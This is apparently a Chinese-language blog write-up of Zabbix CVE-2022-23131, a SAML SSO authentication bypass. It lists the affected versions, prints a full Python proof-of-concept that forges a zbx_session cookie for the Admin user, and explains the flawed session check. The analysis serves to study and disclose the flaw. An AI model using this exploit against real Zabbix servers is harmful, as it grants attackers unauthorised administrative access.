Zabbix-CVE-2022-23131
0x01漏洞介绍
Zabbix Sia Zabbix是拉脱维亚Zabbix SIA(Zabbix Sia)公司的一套开源的监控系统。该系统支持网络监控、服务器监控、云监控和应用监控等。
Zabbix Frontend 存在安全漏洞,该漏洞源于在启用 SAML SSO 身份验证(非默认)的情况下,恶意行为者可以修改会话数据,因为存储在会话中的用户登录未经过验证。
攻击条件限制:
- 需要启用 SAML 身份验证,并且攻击者必须知道 Zabbix 用户的用户名(或使用默认禁用的访客帐户)。
- 但因Zabbix的Web前端自动配置了一个名为Admin的高权限用户,所以漏洞利用相对而言难度降低了。
影响版本:
- 5.4.0 - 5.4.8
- 6.0.0 - 6.0.0beta1
0x02漏洞复测
利用poc获取session,然后将cookie替换为获取到的session,之后点击Sign in with Single Sign-On (SAML),即可实现未授权访问。
https://github.com/L0ading-x/cve-2022-23131
获取session
替换zbx_session
点击登录,成功未授权进入后台
0x03POC分析
import requests
import re
import urllib.parse
import base64
import json
import sys
def exp(target, username):
resp = requests.get(url=target, verify=False)
cookie = resp.headers.get("Set-Cookie")
zbx_session = re.findall(r"zbx_session=(.*?); ", cookie)
url_decode_data = urllib.parse.unquote(zbx_session[0], encoding='utf-8')
base64_decode_data = base64.b64decode(url_decode_data)
decode_to_str = str(base64_decode_data, encoding='utf-8')
to_json = json.loads(decode_to_str)
tmp_ojb = dict(saml_data=dict(username_attribute=username), sessionid=to_json["sessionid"], sign=to_json["sign"])
payloadJson = json.dumps(tmp_ojb)
print("decode_payload:", payloadJson)
payload = urllib.parse.quote(base64.b64encode(payloadJson.encode()))
print("zbx_signed_session:", payload)
if __name__ == "__main__":
if len(sys.argv) != 3:
print("argv error")
exit(0)
target = sys.argv[1]
username = sys.argv[2]
exp(target, username)
非常的简单,首先对目标进行一次请求获取到请求头中的set-cookie
再用正则匹配出zbx_session的值,url解码后再base64解码然后转json
手动解码或者直接print打印即可知道json格式
decode_payload: {"saml_data": {"username_attribute": "Admin"}, "sessionid": "c7605481cdd0aaaa1e5c65b91851b55c", "sign": "SiSFwbllzSuv+CBeHiQ5fpswmR1KOpAMreltIYVJqlrGxAWOS2Vt6bgeHhz5NpoX+byr17K13wvJV21a0KpBpA=="}
在去构造saml的json请求,只替换了saml_data中的username_attribute参数为存在的用户名(这里是Admin)
然后重新json转码之后base64加密再url编码重新得到payload
后记
安装环境太过繁琐,所以没有审计复现。
简单看了下,是由于检查函数只验证了sessionid,而启用 SAML 身份验证时直接提取了saml_data中的username_attribute来提取用户信息进行登录然后赋值给session
无关于sessionid,而saml_data又没有进行加密等处理,所以导致了身份认证的绕过